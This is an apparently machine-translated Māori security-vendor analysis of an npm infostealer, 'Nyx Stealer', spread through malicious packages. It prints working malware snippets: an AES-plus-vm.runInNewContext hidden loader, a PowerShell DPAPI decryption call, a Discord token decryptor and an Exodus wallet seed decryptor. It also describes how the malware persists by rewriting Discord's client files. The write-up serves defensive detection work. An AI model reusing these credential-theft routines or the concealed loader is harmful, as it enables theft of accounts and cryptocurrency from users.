TL; DR
Te Rōpū Rangahau Haumarutanga Xygeni i tautuhia he kaupapa tahae mōhiohio npm matatau i tukuna mā roto i ngā mōkihi kino e rua: consolelofy a karetao-whaiaro.
Te putanga hou rawa atu (consolelofy@1.3.0) ka whakauru i tētahi kawenga whakamuna AES 216KB ka wetemuna i te wā e oma ana, ā, ka whakahaerehia mā vm.runInNewContext()Nā te mea kua whakamunatia katoatia te arorau kino, kāore e taea e ngā matawai tūmau e whakawhirinaki ana ki te tirotiro aho te tirotiro i tana whanonga tae noa ki te wā whakatinanatanga.
Kia wetewetehia, ko te kawenga, kua tohua ā-roto Nyx Tahae, whainga:
- Ngā tohu manatoko Discord
- 50+ ngā toa tohu tirotiro
- 90+ ngā toronga putea moni matihiko
- Ngā wātaka Roblox, Instagram, Spotify, Steam, Telegram, me TikTok
- Te pumau o te kiritaki papamahi Discord
I pūrongohia, ā, i whakaūtia he kino ngā putanga e 20 puta noa i ngā mōkihi e rua.
Tirohanga Hangarau o tēnei npm Infostealer
He rerekē tēnei kaupapa i te pūmanawa kino tāuta-wā tuku iho, e whakawhirinaki ana tēnei kaupapa ki tētahi waahi tauira wetemunatanga.
He:
- Kāore he kino
preinstallorpostinstallhooks - Kāore he waea whatunga mārama i te wā tāutanga
- Kāore he arorau kohi tohu kuputuhi māmā
Ka whakahohehia te utauta ina kawemaihia te kōwae. Ka whakamunatia te tinana kino katoa, ā, ka puta noa i te mahara i te wā whakahaere.
Ka āta karohia e tēnei hoahoa te kitenga i te wā e tāuta ana te mōkihi.
Te Whakahaere Tuturu a tēnei npm Infostealer
I mua i te tātari i ngā mea e tahaetia ana e Nyx Stealer, me mārama tātou te āhua o tana whakahaere.
Ko te arorau kino i roto i tēnei npm infostealer e whai ana i tētahi tauira ōrite:
Ka wetemunahia e te utauta iti tētahi kawenga nui kua whakamunahia, ā, ka whakahaerehia i roto i te horopaki Node.js VM.
He mea āta whakaarohia tēnei hoahoa. Kāore te kaiwhakaeke e huna ana i ngā mahi i muri i te whakapōrearea anake, engari te tango katoa i te waehere kino mai i te tirohanga tūmau.
Tauira Whakatinanatanga Taumata-Teitei
I te taumata teitei, e whā ngā mahi a te takai:
- Ka tangohia he kī AES mai i tētahi kupuhipa kua whakapūmautia mā te whakamahi i te SHA-256
- Ka wetewete i tētahi tuhinga huna nui kua whakakōnaetia ki te hexagon mā te whakamahi i te AES-256-CBC
- Ka whakahaere i te JavaScript kua wetemunatia mā te whakamahi i
vm.runInNewContext() - Ka whakarato i tētahi pouaka onepū e whakaatu tonu ana i ngā pūmanawa wā-oma kaha
Whakarāpopototanga o te Tikanga Matua
| Wae | Whirihoranga / Uara |
|---|---|
| Algorithm | AES-256-CBC |
| Te Whakaputa Kī | SHA-256 (kupuhipa) |
| Te Wētera Whakatīmata (IV) | 16 paita o 0x00 |
| kawenga | vm.runInNewContext(kua wetewetehia, pouaka onepu) |
He mea nui, ka haere te pouaka onepu mā roto i:
requireprocessBuffer- timer
- kaweake mō ngā kōwae
Ko te tikanga tēnei ka mau tonu te kaha katoa o te kawenga kua wetemunatia ki te:
- Ngā tukanga whakaputa uri
- Pānuihia, tuhia hoki ngā kōnae
- Waea atu ki te whatunga
- Whakarerekētia ngā taupānga ā-rohe
Ehara tēnei i te VM here. He VM e whakamahia ana hei trampoline whakamate.
Tauira Whakamuna Wā-Oma (Tikanga Whakahaere Matua)
He iti te taputapu uta.
Kāore te tinana kino.
Kei raro nei te tauira whakatinanatanga i kitea i roto i te mōkihi:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); }He aha tenei take
Ko te kawenga kua wetemunatia:
- e e kore kei roto i te tuhinga māmā i roto i te mōkihi npm
- Kāore e kitea e te hunga ngāwari
grepte matawai aho pūmau rānei - Ka puta noa i roto i te mahara i te wā e whakahaerehia ana
- Whakahaerehia me ngā āheinga wā-oma katoa o te Node
He tohu whanonga kaha tēnei huinga whakahaere AES + VM o tētahi te tahae mōhiohio npm e ngana ana ki te karo i te tirotiro tūmau.
Ko te kupu:
Ki te matawai koe i te pūtake o te mōkihi, kāore koe e kite i tētahi tahae.
Ka kite koe i tētahi taputapu wetemuna.
Ngā Mea Ka Tū i Muri i te Wetemunatanga
Kia oti te whakahaere, ka whakarewahia e Nyx Stealer ngā ngaru kohikohi raraunga whakarara.
Ngaru 1: Tangohanga Tohu Pūtirotiro
Ko te pūmanawa kino:
- Tikiake i tētahi wā whakahaere Python mai i NuGet CDN
- Tāutahia ai ngā whare pukapuka whakamunatanga
- Ka tango i ngā toa tohu tuakiri e hangai ana ki te Chromium
- Ka wetewete i ngā mea ngaro e tiakina ana e te DPAPI
Engari mō te whakahiato i ngā herenga taketake, ka whakamahia e ia a PowerShell hei karanga tika i te Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }Tenei huarahi:
- Ka karo i ngā taonga whakahiato
- E whakamahi ana i ngā API crypto taketake o Windows
- Ka hanumi ki ngā taputapu whakahaere
He wetemunatanga tohu paerua taumata-OS, ehara i te waru.
Ngaru 2: Te Wetewete i te Tohu Discord
E mōhio ana te tahae ki ngā kawa. E mārama ana ki te whakatakotoranga tohu whakamuna a Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); }Rerenga whakahaere:
- Tangohia te kī matua mai i a Discord
Local State - Wetewetehia te kī matua mā te DPAPI
- Wetewete i ngā pūwāhi tohu AES-GCM
- Whakamanahia ngā tohu ki te API Discord
- Whakarei ake ki te Nitro, ngā tohu, ngā mōhiohio nama
Ehara tēnei i te tukunga tohu whānui. He tahae wātū e mōhio ana ki ngā kawa.
Ngaru 3: Te Whainga i te Pēke Moni Mamati
E whakarārangihia ana e te npm infostealer:
- 90+ ngā toronga putea tirotiro
- 27 ngā pēke papamahi
- Ngā ara putea makariri
- Ngā kōnae purapura o Exodus
Tauira o te ngana ki te wetewete purapura:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); }Ki te angitu, ka tere tonu te raru o te pēke moni, ā, ka kore e taea te whakakore.
Koinei te ara whiwhi moni tino nui rawa atu o te kaupapa.
Te tohe tonu mā te Werohanga Papamahi Discord
Whai muri i te hauhake i ngā tohu mātauranga, ka ngana a Nyx Stealer ki te tohe tonu mā te whakarerekē i te rohe Korero kiritaki.
Whakamahia:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.jsRaupapa Mahi
Ka mahia e te kaitātari mōhiohio ngā mahi e whai ake nei:
- Whakamutu i te whakahaere i ngā tukanga Discord
- Ka kimi i ngā momo Discord kua tāutahia (Stable, Canary, PTB)
- Ka tuhirua
discord_desktop_core/index.js - Ka werohia te arorau tukutuku e whakahaerehia ana e te kaiwhakaeke
- Ka tīmata anō a Discord
Mā tēnei ka whakarite kia turuturu aunoa ngā tohu manatoko hou i ngā wāhanga Discord a meake nei.
He mea nui, kāore tēnei pumau e whakawhirinaki ki ngā mahi kua whakaritea, ki ngā whakarerekētanga rēhita rānei. Ka whakamahia te whakarerekētanga waehere taumata-tono, he huarahi huna.
Ahakoa ka tangohia te mōkihi npm kino i muri mai, ka noho tonu te kiritaki Discord ki te wāhi kino.
Whakataurite Hangarau: Te Pūmanawa Whaiaro Tika me te npm Infostealer
| Wae | Whare Pukapuka Tika | Nyx npm Kaitahae Mōhiohio |
|---|---|---|
| Whakamuna | kahore | Utauta katoa kua whakamunatia ki te AES |
| VM Wā-Oma | Ehara i hiahiatia | vm.runInNewContext Tuhinga |
| Te Uru Whaimana | API Discord anake | Pūtirotiro, pēke moni, DPAPI |
| Tikiake o Waho | No | Te wā whakahaere Python mā NuGet |
| Te manawanui | No | Werohanga kiritaki Discord |
| Whakariterite | Aunoatanga karetao | Hokonga anō o ngā tohu |
Mā te paparanga whakamunatanga anake e wehe kē tēnei kaupapa mai i tētahi marau pūtake tuwhera noa.
Kāore he take o tētahi karetao whaiaro Discord tika ki te whakamuna i tana pūtake waehere katoa, ki te whakaputa PowerShell hei uru atu ki te DPAPI, ki te tango i ngā wā oma o waho, ki te whakarerekē rānei i ngā taupānga papamahi o roto. Ina puta aua āheinga i roto i tētahi whakawhirinakitanga e kī ana ka aunoa i ngā taunekeneke Discord, ka kore e taea te wareware i te kore ōritenga hoahoa.
Mai i te tirohanga tirotiro, ka waiho e tēnei tahae mōhiohio npm ngā tohu puta noa i ngā paparanga maha. Heoi, ko ngā tohu tino pono ehara i te URL kua whakapūmautia, i ngā ara kōnae motuhake rānei, nā te mea ka taea e ēnei te huri i waenga i ngā putanga. Engari, he hanganga ngā tohu pumau.
I te taumata mōkihi, ko te haki whero kaha rawa atu ko te huinga o tētahi kawenga nui kua whakamunahia me tētahi takai wetemunatanga wā-oma e whakahaere tonu ana mā vm.runInNewContext()Ahakoa ehara i te mea kino te whakamunatanga anake, he tino rerekē te whakamahi i te wetewete AES me te whakahaere VM hihiri i roto i te mōkihi taputapu Discord.
I te taumata manaaki, ko ngā tauira whakapae ko te mahi wetewete DPAPI ohorere, te whakaputanga tukanga mai i te horopaki whakawhirinakitanga Node.js, me te whakarerekētanga o ngā kōnae tono ā-rohe e kore rawa e whakarerekētia e ngā whare pukapuka tuatoru. Waihoki, i te paparanga whatunga, ko te whakawhitiwhiti kōrero ā-waho webhook i tīmatahia e te whakawhirinakitanga whanaketanga he tohu anō i tētahi atu āhuatanga rerekē.
Arā, ehara te mata kitenga i te tohu kotahi o te takahi ture. Ko te hononga o te whakamunatanga, te whakahaerenga wā-oma, te urunga tohu, me te whanonga pumau e whakaatu ana i te riri.
Te Kimi me te Whakaiti i te Mate ki a Xygeni
I tautuhia tēnei tahae mōhiohio npm e Whakatūpato Moata mō te Pūmanawa Kino a Xygeni (MEW) mā te hononga whanonga paparanga kaua ki te taurite waitohu noa iho.
Engari mō te rapu i ngā aho kino e mōhiotia ana, ka arotakehia e te MEW ngā āhuatanga hanganga puta noa i te rākau pūtake katoa. I tēnei wā, i puta mai te kitenga i te huihuinga o ētahi tohu: he mahi wetemunatanga AES kua whakauruhia ki roto i te pūwāhi whakauru kōwae, te whakatinanatanga tonu i roto i te horopaki VM, me te kore taurite mārama o te āheinga-ki-te-kaupapa.
He mea nui, kāore tētahi o ēnei tohu anake e whakaatu ana i te hiahia kino. Heoi, ina tātarihia ngātahitia, ka hurahia he ngana ki te huna i te whanonga wā-oma. Mā tēnei huarahi paparanga ka whakaitihia ngā hua teka me te tautuhi i ngā tūmomo mōrearea mekameka tuku tino whakawhirinaki.
Hei tāpiri atu, e whakaatu ana tēnei take he aha te kore e ranea ai te tirotiro wā tāutanga anake. Kāore te arorau kino e noho ana i roto i ngā tuhinga huringa ora. Ka whakahohehia i muri i te utaina o te kōwae, ā, ka kitea noa i muri i te wetewete i roto i te mahara. Nō reira, ko te parenga whai hua me tātari whakamunatanga, te mōhio ki ngā tauira whanonga, me te aroturuki tonu i te whakawhirinakitanga i tua atu i ngā huihuinga tāutanga.
He mahi tauhohe te tango i te rēhita. He mahi ārai te tātaritanga wā-oma.
He aha te Hiranga o tēnei npm Infostealer
Ko Nyx Stealer te tohu o tētahi whanaketanga hanganga o te pūmanawa kino e hangai ana ki te npm.
I ngā wā o mua, he maha ngā mōkihi kino i whakawhirinaki ki ngā tuhinga wā tāuta e kitea ana, ki ngā pito mutunga tango tohu rānei. He rerekē, ka whakamuna tēnei kaupapa i tana kawenga, ka whakaroa i te whakatinanatanga ki te wā whakahaere, ka whakamahi i ngā API pūnaha whakahaere tika, ā, ka whakatū i te pumau i roto i ngā tono pono.
Nō reira, kāore te kaiwhakaeke e hiahia ki te whakamahi i te hanganga npm tonu. Engari, ka angitu te whakaeke nā te mea ko te tāutanga whakawhirinakitanga e tohu ana i te whakawhirinaki. E whakaaro ana ngā kaiwhakawhanake he mahi haumaru te kawemai i tētahi whare pukapuka, inā koa ka whakaatuhia hei marau whaitake o tētahi taputapu rongonui.
I te tipu haere tonu o ngā pūnaha rauropi me te horapa haere o ngā marau, ka piki haere te ataahua o te rohe whakawhirinaki huna. Nō reira, ko te tiaki i a rātou mai i ngā kaitahae mōhiohio npm hou me mōhio ki ngā tauira hoahoa kaua ki te rapu i ngā aho tūmau.
Hei whakamutunga, ka whakakaha ake tēnei kaupapa i tētahi akoranga nui i roto i software supply chain securityKo ngā tūmomo riri tino mōrearea ehara i te mea he āhua kino i te tirohanga tuatahi, engari ko ngā mea e āhua tika ana te hanganga tae noa ki te wā e whakaatu ana i tō rātou whanonga tūturu.
